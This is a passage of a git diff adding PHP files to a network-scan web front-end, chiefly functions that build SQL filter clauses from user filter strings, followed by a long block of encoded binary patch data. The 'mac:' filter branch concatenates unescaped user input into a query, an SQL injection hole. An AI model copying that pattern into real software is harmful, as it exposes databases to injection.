", with strange code ".(int )$subtype; + } + return $ret; + + default: + break; + } + + $ret="Unknown type ".(int )$type; + if ($subtype != 0) { + $ret .= ", with code ".(int )$subtype; + } + return $ret; + } + + function getsql_resptype($data) { + + $add=""; + $not=0; + $added=0; + + for ($tok=strtok(trim($data), ","); strlen($tok) > 0; $tok=strtok(",")) { + + if (strlen($add) < 1) { + $add=" and ("; + } + + $ctok=trim($tok); + + if ($ctok[0] == "!") { + $ctok=trim(substr($ctok, 1)); + $not=1; + } + else { + $not=0; + } + + if (strncasecmp($ctok, "tcp", 3) == 0) { + $tcpflag_val=0; + + $ctok=substr($ctok, 3); + + for ($j=0 ; $j < strlen($ctok) ; $j++) { + if (ctype_space($ctok[$j])) { + continue; + } + switch ($ctok[$j]) { + case 'F': + $tcpflag_val |= 0x01; + break; + case 'S': + $tcpflag_val |= 0x02; + break; + case 'R': + $tcpflag_val |= 0x04; + break; + case 'P': + $tcpflag_val |= 0x08; + break; + case 'A': + $tcpflag_val |= 0x10; + break; + case 'U': + $tcpflag_val |= 0x20; + break; + case 'E': + $tcpflag_val |= 0x40; + break; + case 'C': + $tcpflag_val |= 0x80; + break; + default: + print "Error: unknown tcpflag `".$ctok[$j]."'
    \n"; + break; + } + } + + if ($tcpflag_val != 0) { + if ($not == 0 && $added == 0) { + $add .= " (proto=6 and type=".(int )$tcpflag_val.")"; + } + else if ($not == 0 && $added == 1) { + $add .= " or (proto=6 and type=".(int )$tcpflag_val.")"; + } + else if ($not == 1 && $added == 0) { + $add .= " not (proto=6 and type=".(int )$tcpflag_val.")"; + } + else { + $add .= " and not (proto=6 and type=".(int )$tcpflag_val.")"; + } + } + else { + if ($not == 0 && $added == 0) { + $add .= " proto=6 "; + } + else if ($not == 0 && $added == 1) { + $add .= " or proto=6 "; + } + else if ($not == 1 && $added == 0) { + $add .= " not proto=6 "; + } + else { + $add .= " and not proto=6 "; + } + } + } /* TCP */ + else if (strcasecmp($ctok, "udp") == 0) { + if ($not == 0 && $added == 0) { + $add .= " proto=17 "; + } + else if ($not == 0 && $added == 1) { + $add .= " or proto=17 "; + } + else if ($not == 1 && $added == 0) { + $add .= " not proto=17 "; + } + else { + $add .= " and not proto=17 "; + } + } + else if (strcasecmp($ctok, "icmp") == 0) { + if ($not == 0 && $added == 0) { + $add .= " proto=1 "; + } + else if ($not == 0 && $added == 1) { + $add .= " or proto=1 "; + } + else if ($not == 1 && $added == 0) { + $add .= " not proto=1 "; + } + else { + $add .= " and not proto=1 "; + } + } + else { + print " mis-understood type filter ".htmlspecialchars($ctok).", ignoring "; + } + + $added=1; + + } /* for , item */ + + return $add." ) "; + } + + /* + * generate a SQL statement for filtering based upon a PostGreSQL inet type + * DO NOT PUT USER DATA INSIDE FNAME + */ + + function getsql_inet($data, $fname) { + global $db; /* for escaping data */ + + $add=""; + $rest=""; + $not=0; + $added=0; + + for ($tok=strtok($data, ","); strlen($tok) > 0; $tok=strtok(",")) { + $ctok=trim($tok); + + if (strlen($add) < 1) { + $add=" and ( "; + } + + if ($ctok[0] == "!") { + $rest=trim(substr($ctok, 1)); + $not=1; + } + else { + $rest=$ctok; + $not=0; + } + + if (strncasecmp($rest, "mac:", 4) == 0) { + if ($added == 1 && $not == 0) { + $add .= " or ".$fname." in (select distinct ".$fname." from uni_arpreport where hwaddr::varchar like '".substr($rest, 4)."%') "; + } + else if ($added == 1 && $not == 1) { + $add .= " and not ".$fname." in (select distinct ".$fname." from uni_arpreport where hwaddr::varchar like '".substr($rest, 4)."%') "; + } + else if ($added == 0 && $not == 0) { + $add .= " ".$fname." in (select distinct ".$fname." from uni_arpreport where hwaddr::varchar like '".substr($rest, 4)."%') "; + } + else { + $add .= " not ".$fname." in (select distinct ".$fname." from uni_arpreport where hwaddr::varchar like '".substr($rest, 4)."%') "; + } + } + else if ($added == 1 && $not == 0) { + $add .= " or ".$fname." <<= inet '".trim($db->_escape_string($rest))."' "; + } + else if ($added == 1 && $not == 1) { + $add .= " and not ".$fname." <<= inet '".trim($db->_escape_string($rest))."' "; + } + else if ($added == 0 && $not == 0) { + $add .= " ".$fname." <<= inet '".trim($db->_escape_string($rest))."' "; + } + else { + $add .= " not ".$fname." <<= inet '".trim($db->_escape_string($rest))."' "; + } + + $added=1; + } + + return $add." ) "; + } + + /* + * generate a SQL statement for filtering based upon a PostGreSQL numeric type + * DO NOT PUT USER DATA INSIDE FNAME + */ + function getsql_numeric($data, $fname) { + $add=""; + $rest=""; + $not=0; + $added=0; + + for ($tok=strtok($data, ","); strlen($tok) > 0; $tok=strtok(",")) { + $ctok=trim($tok); + + if (strlen($add) < 1) { + $add=" and ( "; + } + + if ($ctok[0] == "!") { + $rest=trim(substr($ctok, 1)); + $not=1; + } + else { + $rest=$ctok; + $not=0; + } + + if ($rest[0] == ">") { + $oper=">"; + $rest=trim(substr($rest, 1)); + } + else if ($rest[0] == "<") { + $oper="<"; + $rest=trim(substr($rest, 1)); + } + else { + $oper="="; + } + + if ($added == 1 && $not == 0) { + $add .= " or ".$fname." ".$oper." ".(int )$rest." "; + } + else if ($added == 1 && $not == 1) { + $add .= " and not ".$fname." ".$oper." ".(int )$rest." "; + } + else if ($added == 0 && $not == 0) { + $add .= " ".$fname." ".$oper." ".(int )$rest." "; + } + else { + $add .= " not ".$fname." ".$oper." ".(int )$rest." "; + } + + $added=1; + } + + return $add." ) "; + } + + function getsql_time($data, $fname) { + + $added=0; + $not=0; + $add=""; + + for ($tok=strtok($data, ","); strlen($tok) > 0; $tok=strtok(",")) { + + $ctok=trim($tok); + + $low_ts=0; + $high_ts=0; + + if (strlen($add) < 1) { + $add=" and ("; + } + + if ($ctok[0] == "!") { + $ctok=trim(substr($ctok, 1)); + $not=1; + } + + time_pair($ctok, $low_ts, $high_ts); + + if ($not == 0 && $added == 0) { + $add .= " (tstamp >= $low_ts and tstamp <= $high_ts) "; + } + else if ($not == 1 && $added == 0) { + $add .= " (tstamp <= $low_ts or tstamp >= $high_ts)"; + } + else if ($not == 0 && $added == 1) { + $add .= " and (tstamp >= $low_ts or tstamp <= $high_ts)"; + } + else { /* not == 1 added == 1 */ + $add .= " and (tstamp <= $low_ts or tstamp >= $high_ts)"; + } + + $added=1; + } + + return $add." ) "; + } +?> diff --git a/www-front-end/menu.php b/www-front-end/menu.php new file mode 100644 index 0000000..3855a80 --- /dev/null +++ b/www-front-end/menu.php @@ -0,0 +1,20 @@ +set_width("100%"); + + $ctime=time(); + + $me->add_header( + " Show Scans ", + " Show Scan Data ", + "
    Time  ".strftime($PHPLIB["time_format"], $ctime)."
    " + ); + + $me->print_tbl(); + + print "
    \n"; + +?> diff --git a/www-front-end/trailer.php b/www-front-end/trailer.php new file mode 100644 index 0000000..12604a4 --- /dev/null +++ b/www-front-end/trailer.php @@ -0,0 +1,9 @@ + + + +EOF; + +?>

    8Qu2uLQ<(?a5FSX5cxcB3TVxsILIvy{+gLv3-6iyTgQB6)ht?Q^Dv+9 z%VPS(#zW;T`-@}W^3Q*gfeY|_%i6cBAa$Z!>oJ3AJFw+V12|Q1?U~sU0AtLIBNdw;JLC_S;HGsvjuXz+EcN4LY+TtC?yK&y*ZFwR7VGoRBS4r6mn0cQkX z0t!n><}uHdoy=CZ=*81pa&*V5IFNQi@<2d5^0uONW$J>?P0|cT^4X*m8f)!?{pag( z;~!g5qp_}s;*nYYh6#sH50aP6U;hOyd+8d*x?x_Q#r`EGLPhlPe%T!V3ctEuw~K%K z8W`}6f;0Te3bL)Ot#y6#tS>&k@-}b0uMtq@`k1dZsde%?#oZ8)r$06Hk0O=-N3rNM zcYbvG{LvJp2CVq?*JQ0S_SQwy3$I}oTz=iFd3A5w!$hQy3x)1jM)39T_~*mch5xQl zQ1?)e_D?8B+Wx`e!TA9TUWcvYgGZIGd+XkJQuPJ(0Br#s`R+Tfb8zyi?uoaQ1*L-z;aAxX(q;?Jx+To%1`owDji@H@PP?w^ErdwIP zS@2d?n=x%3QOrK<%afvfZCCMhK;P*Ns-g$LEyh4l$orjT=}7=WzNCtT{RfQ|#etCY zo`8I?N<(&o7g`MsU7_lhj6SWh9tN9Fc4 zTER&~N8JD=6!9)5oHnHN-HWmp-;SpKdp>}IOBl7c{(n@~reD0ZUpIF4UHS_B> z#iYaJGJ%!wOO5@2wcj2#!MTs9rLXJg#PsB;xQ;u`IqiLLoC5JV{w~6QNCGj=&%yCN zHlmv-d|20eBzxx|I=}LMK6&eIhc^eP^l-O;*#LY|WL?sjV>G7Cj3z@L z-c7mwAMlgp|M9$;LOJb>KB>)%tdAXM5-I<0okUzg>I$h5!E?KRNpU zDslZa`dzOiZv_6!QaOLQBlvPh@a2x+Kkkm;SPVYG9-I6Q7`GJd# zc~{EMYd^-!vY2RyYTFur^ZX(-cK3=CKSPLG?3OR21EHgpyZYa`Ms7Nee z1IY_8oVUlVpS~|xNmo0aBS7FEx9gpb1;EznZU^>HHvz(t4MVd6l#06Z=A?aoesb&# zrWbLB5>iSTcO@9VnN`0NAa%iXze;4_jKD-0=w0V3illUS5R9oY?Dp-x6W@h4*#RMASsm})8sB?|*`0APVgy_7c{l(~Qewi9cX?l7ab z<=Udo-4UkW>+WFwJ}2u=rgiRJ+*d~DMX8!oS)TKgAgjl~>LIg2+ruR$NZ)wqcgvZq zcG>ay$s2u*%HK-w%O3uF?v19=)c`&^@7wPCnBME$!;-TXH5n9!;C&CX!@?(wEy`O~ z$NIqCrmYGo9umfUlE?{klBiHjRc|&nu~zu#aKc1Lm?J~=Gt&gCNneo@z7DVIv~-1` z4u8Q=H7b&v+tJuWVZiZYp0bUrvCfKoHRjBC`0nBsJLc4QWjjuNavW>iDJF^bN=|p> ztMTTGD;=AF*T+1w!*x&_4arL_(V@qw2JIF*9EcpI1GgPY?F&w|Ic!_J{WrSh0P6cF;V+&{iA*7X4T-zK5U5!}u3t+yX; zw)@z9_5zN0GIMtyAM9#1p$6@tk=a8d*+cLudkdMljsO)$oe_pUPNSY|1ryqIf~nd@ z5z{Ier=FRo?c>my4K_VWLdp|-J8wJp^G98`KaLkkliIz7O z6vOdbI9BnB0F$EHZcs{7Z3|X>?8Sh3F+IZK`3(X6e) zcS;Nqm)?k4S@&X^aGyUnZE@Iq-I@hn9j+Bf82rIY88%6)E}kj(l@Y&pJd=+mtq z1$U&N27P#d*l4YCyrt6D3Ex~Qn#QQyH^dJ+m?!bf)+7?YI*Ld)E}K}??K$935LK@- zAquF}NH+KvD}dx|00{pc^8)HeolX?@JDoCxrfRdxBVWwG6zJmg_*L5rV@|c6*iI^Z zv6EZ7IO@j|vDh7Yy}I+QGi+z+lEW4VIY)Gov@zeRbXzE~c&DeQoA3|aIWZ_gH=4jf z0kn!p0uCg`C=3NkMM-IDN!5hDe=Z`h8#`y5n1+fU$oa@F}iNBndVrtME;4^BWAo`vBW{Fs{?NR5zDFC1}c{ zuxq{9SRGwf$UzJ8ss;>!Yjm$BSiRz{Z?0Rlc;9j!hw-fwkFTnuxovPO>;I^(>y}f; z2DUA5Vz5}~G`EAbH3JunLZtze*$)oop;zO+>Z|r8jS4ygbWPVBa5fvytw@-R3z&we z)=*#T__aP~pIG^HYHqA|nHkn{kPjp3Stl$Npd*%;895T@shkNC#E(FR6RTRh43Ph^ z!n*`BV2rttM{YWd3D@YZ$h_D zi>f&C0+-rN6#HS93JNKMA|T*9MVe>2_et{I*})Ii>v)XD4o-pg=~?UiKouB9K?y5 zYwf?*GoiQN%Oq7Vx- zy{U^C`v-gb=WV;dC|y9KkBU$U;$7AIKzN4%0qAVw zV~tzWv3Wzb;buR+x9Xh!q@JU+6wE^NPOPApUI-Z7a;w18_-spny2Ic-@S~UER0+bD z!Ndl$(PkA`o7F8R5^r=V0x3nNkEtanViESPx9P3pp={!)hcU+Wo@A8s*YV)2rj7u5 z*;Fs(aO!k8M;VN22YPC2kmgay)!s-ly5yfGVfS1@SJd#fWe@S7ho~p+iF$S01 zpru*gS|{*hnGtYwwJHpABYyZ$Ph7hA?z`vSQ}gu?EdIblZw-8iT|blpbpBHUBIIZ6 z#icQ?tv!4g^TMLW_ymZyVa_B zaeT6Wpk6$AQqT~NdI8;u`w1peZIzff$t~t2u^jxtO2SRT3~`VgnHdvFA`cGYHy+cwOSTs5CDm z92DQbf9C#=*AEzE1oQan3l>|$o#{Qsw9e{2#!X^M)HU^rC~+9^yiK492T zjXq|sE^%~ooLaks&B3ObaH#c%53z!RcYmBEVX35MN-{{7OcvBM_a+?mpsbA!B|;fK z(}MR?4GJt)cGJ*Whg2|D$*2ghwg}|sqM#^g{IT2Y8tSz%Hn@*rwa1)vvEoS$lXX)v zV|>u2#)44h7*rGfAWBj0d8Dl{y#>lSAiWt9{3aI6Kb1XUeX%hvV9zuOS< zf9Oxj{&z4Ad-ogxWI_Co?VT#d|9Jdl`^oOk_VzCN|J9%De6j!i96veszq@G9``6hh z#K26)oLdSAN^8{pV!8VtXSpjLIm&-Axva{65gWRz3#0KvMC;R~eHaC6{=4i_m$U$7 zLTjQ|)F0LAkE**~wfd}Dd$zrU7naEKiRq`Tnhs*&oul&GBS>PfREpD0aTht$vtI6hQngfw2PyGW{jpOs`J5^z<0oMAwd&)i-*#GwPR&!QsH0ynNVIE~XRKZT z`3I4?Rg?uH7elOa72O0F)?Hb0f_#Wp1((4nm~hPY5oU-+i-Pth;P50M*2jB!`U=~a zY9Q%KodKQ%A${gZV2?NiUZf0}OJeqXPq>hHCW zO@aDOs=oU^IsRJb)Oo*~s_(vkQgE>F>652TG;Ma4);y)9-O0p>Cp%9%t^Ko87bnzH zs`&UzoQo9yhY=2kAR*kJ_tygcueQDW_{lE%f7N$tPj;U?#`teLwd$AnZ=dBSoBw=t}u*%y;?V6tQ`3AXzRXEBS%k z+1&#xz1%-|`S!J~N$+965C=TkfRXYBmMMjxv1#1@>+91~v}&~4=-h1AJNB${1bp_tG)Iyl07((TQfL0Tdy#+nhyq@-i={(tuVyrGRNOBjdeU-T&|%o8JF zAtb;{tk`K8gsl!+Bb+#s&QD!PC8$_Zsa2AJPTZgUJ?mYnN-U12XP)P6&vbxWcfaSJ zd-lUe$yvDhvBSr;*E%~s@pSzqNmuU7%s1(% z?0$UQFgeNzXG_&MH5kvXY8_3X*Nf(e&94K;fWhn=`mHS_7Z~l{?qY@-uF*|ZQX6Q! zf!eaCY|M@+s%SPbVT`F{=PEqNmMravespz3Esn}VHW&k>EhMMIa51B|A#qU>Mx+8B zk?ESCGbaua<4%N_bCoC(&E^6G4*Y_7_9!qFRS9n5Xf#0Hlw>lqaDt}|qyWB(JX=Rq ziQ##gcADn^43uqs9Ks7XK&>LD>*5CqOM~d|3w*Q*w0IAxob6phdFwFo>@39BEfOFc zNE+HI)kaW^LYP@hdF9ujryiE0w!B1%X!|poal}dGF^>qmgX54KY+**6=Z(66+l4h@ zFL>6uMQZ2v=EmtERV_~|K^gwD@rsuA@};S39m5tAtP6B!xnjPOj@;D1@7bQ5j&v%N zm==z@hoGby9NuwM<7I30M^QLgOgT4p)9(dWPrawN_k&e>xcB*LUOo1a>CxAMF5S(H z{@zQ`HOgd=#XlV7r2L&70evKTBP6%d-t3OqICXDd9#tG9WSd!-Sfdv;HSl~s`jDAeZV<}G*F!>O6!)`N#6Z~cEA#8E zN1V)h)5T~6SL)V|;2F7BJy}y0L~q$S`0YaviH(cMpXeP+qhsZEcU%aZ(=17{TUS&K z%~)@rI**-<20dHTIqu?x`d9!t54W|!4cXaDa&s=IG>xKroC!{`V7fp5Qnb7Q(Bwr8 zygz^brC=Ct2{&Q+k@)4blkVAP;W`Vnj;k>s-JejNYr-v~C`e7;7cUR1$ zD8YLX`p)%<8@Iemu18jP^g0!F>67)j-3R`upiS0SdmiYc)+}YNge`XJ(iJmR`9RjC z&=N`UJorf2W+=Cd&myV_3tkdT+L2fXNlxLnm`X~WIT=%EBvFc#H$}Ty>fkEL5iw}$ zah1#l{*-ZUrqo*>zn@Ltmpq+@{m7C*uRCYJWwlRxNP-9D=j&qM;k2n#lq$!BNI(aM z0R_cCOg#^Nn||`>-){R1Df-v#)AF<$gq7g0B_xV|HWnk5G8At51OE~{3d#*M>MZ;9 zzV_=?DuzX94F+UR%(olv& zgyc_Ii!(C>%=QTk^p^PF-g5J(JWuURYe0e$DkH# zSO$0wg$pKCyK~mwdzFQaGEO!J99T&3ArURq;*i@=WD9-0(F2~JCVAKBSRKy1S<0L} zjp*$9eoVn%|hR7R#?mxuh~?Q0`@@Mgii@MEuB zJK+dAC}|2uNFCr!<&=ArDwcF8c#bBP1ECoYAFRZPS?sa?Yq0UW@f%ep-YYc5SUcpR$j(^d63te(CL!8JCFXM|# zOvuiK6M%c9jWWYH?V5oMg98c%z-s6A>czh_;g$thBG*#v${kwZoMuu9xNawXg5`fv*F&|c`L*^Ww4gZ;Z2eBx-f9&8zjMKraL#ndPo55u~gRiS-uL>=RA zyfCuDMjx_8zt8*NPfNc+%X!TpvIJ~{#C)dG-gc!Vn3}JlxwUdY=(ICQL zaHs|YunErraa}IGlhOSzB|VGRMYq%5Ea$~^t^jii==);`aC;d7grjS|1^@iaYalq0 zTbVK zO$OmHNy3H1(PwCgc}ku4G-bR=^xVwtLX_ITtED1|Zij$ntge ze4}`eg$?@Q1a-93j&;f*eOBG$XT32hZT!r4=048~fS&iNWFF)!S&87pY2|~$m&O6G zY|~2Rf8(nlGko~Vzzl)B3T`jv_k!0!8tvb=k$*KLqzI=6^%R8+gRu=>nsQM77HjYL zG9+_?Xsl8V#4AR$R$P0MIQp~Huei}LR=21D#5BOxIwZYJ79*0jp96-zF=34o7+xsT zu-}&eT&`%NWMt(Qyjk#;Ha#CC5*uMK5!fo&A>|AD?y`9HneXl_-sda)`S8S@b?e~W z3-Q0A=BK;f>K(_#mUedA@Q0o5t~0(C9iKS8p1p6mo2tFwb)fvmMD!PVNZO>W>QG;i15veoHVE>A{L`tRNyF}ib ze0}bJYotN;?)Y#m5VHKteZVgOIfB_G5Qo(5<#u&3=t;@t&zD5Q40=#rc4WcydCDPhxw@AO>oJD}7 zDqjR+qEk|)N=Q}G4DkQ?Z9`pv<7*8yYMJ}$5hBJ}kphs&Z*6O#C3Xgi=W?!hi~8`Py98x^-*omeZQNxs4k;&F@>ap}A#x zSaDhR^v&;_D%z)mJ~*3)So7}9vr~W(y(!R97f%7*uiRq%!3FW8$5$Nw>%1Mz z-wAt%CQBn=1qU~GFnEA!?!nuk-PE;8p8bkbhs(P+U)7}Qq^%7G=qN6x!V!ij6gE%> z%&=V!H)f{fv0^1BM6<()P2vAB%7n*=<*=>>m65z;iYb=hSfLDBGWZ90K7%^!SGjbR6 z7!WDZy}Sx%|KR+5*qYxtrdru}^Aes&pfJ1fL=vZ=@WaAe|E52R`(&(6S*O@qROJ#V zcL^`Zv5XFzg%fM3Ct>qU`Z??6ViIHY{~M)y6pjf7VF=PJ2%IuwM!$Z9_wS>|-i2xw zZne!iK6Mjqnm?Ti_PX>=K;m-F+{&rhIUqoJH4fDtM}$HxxG zz+!vta6&eX)2ZvcFiJvL_gD?UlPOszyPCl7%K&NnWu|F=Cywp#kbeGH#d}&msF-kt zAEA2+=&jc{?a|O8|7YnxmGo$ipPKom>-bwUyWi^{@kbBCsO7&=5ErW8o7R<#@fSt+ z;LVZ?X4^o4+j&+Tgwr93B5$lC?ZGdu5K>#ni8;Z_11VA!P4GJEhj^K;BK4@`G?bKP z5Wu%{S`|Nr`C>REU=K#|d=9MH7y$RCmf?f;%Y72oF%VXk0_SfU)e0wcE36Wh#abMm z1Z|0kEc^e0^2a)=>US#iJE`rTQy6xv{PjzPX+!uSDpDZEpB{oD>Q5f)spZt@=c7kh z14e@a_^AM3p^#0Em2N1pq!;2--~`0 z0pVvD@0Xf^Z3HU9P+(3B&Y-N~o`isKO zVSU_Du8gN@7XR zl~jZEQAm%yc~(j*9@{SxIRlv16b2jOo+!D!xlX$H_04AB{F(~F^!dZ?hjc zpm~FGhFII4ma>GYb1evVP^t=>O!;uFkR{UfZq9lcP@ujKxgyoaQRv?gly%GRk^d!fRAZrrn+**BzG+4eXE&W zy}L5<{XueX5-cu&EKDWc03twmqZV^cumME;B;^)Ym(heWQK#r6+@Hd6k}vUqe&Z1T zADDtvHlTL@?a?KBmpvQ|;I6}F!++xu1>%$y;DmN5sR&(y_mUNXxIchX;?j(huGHsy zR_0iw6wXgPLubL5T)Bx5%g=9RPOY5B=s?k9I@M83V7*lQ-wlC zvT|-X-HiOl3L%%Rmi+|nt+d|S#Ayv;X~M?~n+W>{vySI$Q~;1XPBp<#X|rJt{5<(TqZ@rox)qH@Jw z+@(QbOy*$?d?$f zUjbE+6~OPg75Mn!zLTE>aBcqh?6DI&dzzj%xTPrKSrJwBACl!I? zAo#hl1FzI?xV%q6u(3f%BAJ9ETl;B+U>*Mc4SqV^JgdmV@EiPa%AZ&081UcE*N^Mi zKm7g4nrss+-H5tZ9E7a=}t4gtZc;7M|x3~n+iS!#SG*4%o; zEvv08oB;JlE&2VI{X|J^KN{!@>P$(V&>7&&aRgipwKeUkdSV#mjdB$$NkPDU72c@K zpZMe){qyI;6T<0#ZvTaTeqS+?qOS@G1y%JRv4pjF|M3^TD>xT31sp%DcTgWEcv zg_2&Gfz-Bq??fBWLZ#XezH<}T_q6-&wZ5lJzp+f|oPcqi}HlJ*?9nUVGcOY;Vpp z%un_@y)W9r3?Fn5e~7MP(m9*Wv2Z6Eo)qnfFeoD}Bv5`A7V)3gb`b^)u*ic1UWhrn zdtIsT^-3*Sy@e^Q@Zna5uQeH#`DWcljsW zjr>xCN8QUW_FUO#d={mP(Oh3X??q^t7oqq)KryBoLgo!NzUN)A()5qPQjD6BmfOzQ z+Rm}aZ2yI@6ZM57ojWk3GGC|qn=@10`jCDMUftQQUEJ=@0lRG-@zIjHjzl_Zh(qSq zbmm{lp;xltO(#(Z9EJnW!dQV53K6|Gf~J=#~-%Yw*V!n}Dv7N{7mE6G8rG?+T%wr~VV@xNqUq_kqUq^3GrbIj>1q2IDdgzPLcNTxyW9D%w%J)_mmH!k zOS0XzMY&g4Z&G2Sk6&P0586is=T<-XQm1x!sNH{$-GBIFeZIecr|%!wsSzqZ5RC6T zjuI!LAS?hoyA$^VKo#eU0&yeXO9t@lCx7QWK=Ud&d*B_EY{l|bs=)O77X=>;sao{$ z@ZG`kk9(aTmVY#4U(v_o)8*d|0K<>Z(DPjC4C8BwT%yVZ3@!%j6hVowKRAhGY8+?wRDw$Mu>An5 zNAasIIHiJun#ZTQl$;I3%8HZ!No+bZ6M%#D$7!KsO|HKJ0KWxv3x@rq2XN=DT5)YM zT=13wWQ1D=w__`Rc)$DO4siD+dVkv`D*ULIsPLm+qQZ}Qi3&f;B`W-;m#FaLsq^vf zOXQ)%_e&1%kDaj7^PQ(`t)ID1A69jV-~UcDm&M2V6=Xy=9P&Zb7MVwGHa_5UpRW2;~~!D^^0VP^ddBc z7&yur^Ai*-^J|pYAg*&`2}OYdMC5W;)h?X!bGKZ&meYXle4j9M{~-sj+)+@B_d*pV zJBvBsQg}F-Yg}+B7?|_C3e*kqus*kqG{PMldV zoPB-CjRX`Ahrm}=J9YeQazJPQ=VdMVr;U5 zgG2Zz75SrRRVRt(mqd04sIX8uEczvhIRrOcOwpijGN0W9YN8^pzDlxXz?fzI4j`Ag zga}8UR7kahgqoIY4Tttv5lSKJ-LYHR!*E6KReGuIi&1iteXrpVjIE2 z2rh(B&$J|tC*!QhP2H+1(!Zx0uW%G8%`eg{?I^hlMoIDktr0ND7+D=qEO!oXvwRjo zXISO@8B3NF@uL)s?iZk0aq!BkOMUt+0i6Qp5rGEG$h9Qu}5K$C1nXvh_jl5x;+d{rtNz2WU^cv z2gW)%FuM3Ft{54HD52tCu(f-JP$cfHwu)!w5-!nVT`#eBxZ4rE#A-zsS1Xhml;`-L z8gpIGQ1=CMg(8kZ%PXT#ag1Np^py|tN__FM%0AThVeScgGHfAA?L`+OET#J2l2U!~^OY)dbJF_>aZR#IkB+^;Dy0w)7R4^McSzsps-;qN44o6~$RNg0DH zylX4I3ySoe`7OW^aBJ0yjSR-bWTYxa6|^hI-y;&8$ayR@5EfO;PMzx%9s+N9_B!z< z>Mi6whL=KZc=75EVzyG0%oL=iP0l}}N^B%{Rv}K-o&<(~2-%)WvRSa%ve=gCguDOXZFtEu`JaoZrW==v3Ysk>VzSP4)t;HPp zg*};~7(>nPva8|iu|~$ubG3LVxyCQ~R%-?t=3iXYxL-xy>3!#z5Ez=m_!&AR85`yT?LtUQorQcaOEfqRL{0hABj1~@O+yz*gvHcQ z2pFzMD=|GSB5<4I@deRgn;26}#iKZi6%#6k{j@KckUtL$PkDV-CdQIRtx|C4gS1 z(3m+|y$ZxQd@yQl;f^%G3x^}%0GI-`8ih;&*omi9e=y&&EVzh66fjrwmCnKxFqbUlzf;SVzxbUL^&n^FjKQsz} zz)&>JL~z66Z}pZbpb7M?aJ)w0$Tc*x7B);DmyT^d?hjpz%wf<3p_NqjX{5yen6My+ z79(@EbeP}D|DK4WABhR5&#xG1HL}woX(W&OlJ}`nay_5K@|WJaq5A?lPBlaVa|2Gv z+$T~$k-$=D;iM)g9KIiadD-36Dco^h^)kF_1kaZkieOmH}z0x=P_%9Fj|db!w}KDm=;4k0YcVDEap&W5j(eVOc~?AcjN1&zVco>MNJ&5 z*~EQz=H-hjwH900nI%{*Q>YdswmAcv7ucCke2i%Z#Sa3Tvrs_XRG8T!seq;~B_9av z$5vMAcTN#=Cj&ZtpA7?m1Kwd2+JJpQc%G^QLBRVp0YLnS5()HA2EfOViadkiFz&}l zTVOUMA+ccC>5Ed1Q+EPAn@~fAxgW0OF^D)4IvGBSWZ>GRB~f!Q9H!;#3b0xY+W2eA zO2LUgL>EkUT`|nn%lpBebPPAxjd{oQusGav`tt|THZSqcTn0_*VJD585XVH;Tr_$)lfRn2!L}s+r4ovF3RA~vos5Is6WdVse84z`i@$A_jelZyV zY>`|E9bZtcHLPhxwqjYiND%N;xvp2-ssTv~?Bg7hS?snH7;IiS?{U|e5MGN>KCag~ z(!Nt5N!L?A?$aV74Cwk|$!at$KvHsV58<&7D1tWKURP*GUSNEc@I7%jYrJh&mp97I zF%PkfD5A?lGmEAwh=xB|6X2CA83n4Y6Su{7e$D*}jMkbJ7^d^JsQQke&$UgFjFOEoD z92gJd!L&|P-C)`PN-L8y)_1n&hJ+tcD#NL`={dXf9qlC+hr8RnDmn(qdj?&=kCHBf zbKdwoxhQ#X3MYV`G|x zVyw`wSdU=J!9y*UQy~xvd(*!J3b&d^OK6oyvU=hP#ATBDz|JE|tH$#RI+HXWL~d{9 zoipitovzu(G6~>m$0Y6;P16;%@Evgi3+B-6GQ4Jud4z`YQ55+qIK_dy08TUkAs@39 zm;}=pP<_(5``){BzeWGA zeV1tK$X*f${%?Dm&i>zfo6hXpboTGJ>3_xBWKt<(nBiMYX*eQs-kRoK0g`R#)8_Kf z#-$Z6*|KDj`!WHKapTlrXqwTUyUHj_0B=ohE4-lVpSJ zqw)E)3fg|efT?2DtZ>a}D!x>3WfsFdn%b;SPKlH9>8=g`B6Bh9xdfMXXrXCQ5;iyJ zr<=4JqX?jEl*N!)n=Sg7gFVroz(lx$2}&wz28Sfdl;Ap~&unPV+?IV#UZ^ZmHmQ;o zEAyYQuil*MuC>Q3{D}Ex*)s^kP**YJ5UJ&iU{J((S;R)BZ^@9vdq(Dmp0E_XaBlNo zlJSp3FRxb=11`-7^#`(*xo6D@%c_A*E}H*5l>DJf6Zx5Z?0J&AFpT7UjFfb$VIs@x zm?BCeMLK^8aU?X5)oDwWoJk*w-S90xSGn{$6F=+c{35P%fJ}~;>5obRyz$hC)=~e&+0B(hp zoz9@qu)LZX>1%js&!dZY^4H0#_jrhH0VYIO>}d=%;mM^w<>e(Qb1pBdDKv=_O^KI# z&Xj7x0#guqEtkFK*_`exMXSGc`N@2abU3c&<<|pmBe>MQG~RwV8}ccTOY@b~H#Q8% z>Lf{;tC$=Eh>E5NU_jx*H2qxfY-2!RfeHY%)u3VXigW^rX+e})29*-!PeoEx>Xm36 zNVS-CWcH+9P}Zn0)I~Ez=i2)IkjKH!{7x#c+jjw*!FId>4ZvFmCx@QuBp43e(tR!U^F!ch z3}u|vi#RedeUXX5OD6jJ5*ergpMbBLqmx0FF&xDoqkMP=9KDDAFWrUyVn%aBJyU}y zV`t->>v6^g1Y!esm9VP-K3l0Z5w!9c$ILnGe~8$att5(RPkWrP(~17xqsOp(T@7w3 z*#{B>tlqd$r3H?Rf(;%zCm@{7n1ounYZG5u>)&Ago1*%dw*AJ|M^L!ViWY(!D$(yZ zx$oEBcQ00^9rX9#dBz`1@dvjLYMzJFf7-e*NHm5`D6M)<3-}L%$0D>Da`Wqo=VLtJ7He(k)f`7a+W)6mjknDEs)U zd9No?Q`NxE%lQy`+09*V@1P(trz?{_6;;4)24N%BvKY#A&mt%{+9>t+Yk-B5PW6{+6Ha+H-zF z?2xhX>mw{|@1wgi^VuW)J#DkJ4xDO&x>b^RYwLY!y`OC@xxSe6D7l*E0xHwIZ3wi( zSrnDa_ze@VnB*+PDtn(W1537$IJaDB3Wz!10TYI~V&33Nfyw8k8tfo1$8<9$@JsU+ znCU2*T+A<*<_Vw-8G32x;ES9QVlP1VR~BPGemt=#Vsh6^`T3+w%@nu^(>G4nI3+nr zN%6C!;iM?AWG7>~J-OvkDlJ7px6vF^6M@(zK1v?Ow^WD}dc8A^0ax8G-Ir1~ zo#h@zqZ~xj`K34&rBOH|%lAOjM=9fO^Gu-tQ=V#oGFTsvzy@v+;##RSwl?Z(TxX35 zncClSqzHFUoI!84e1i}OR3diAPGL2>Q4X)+lxONL$qazg=)Je z(EItg3SsL^gw!rP%s#*wO3o#f=n-2-0iCx>BWZ@sRo4h~RgDi-$_H%nXaVDJ 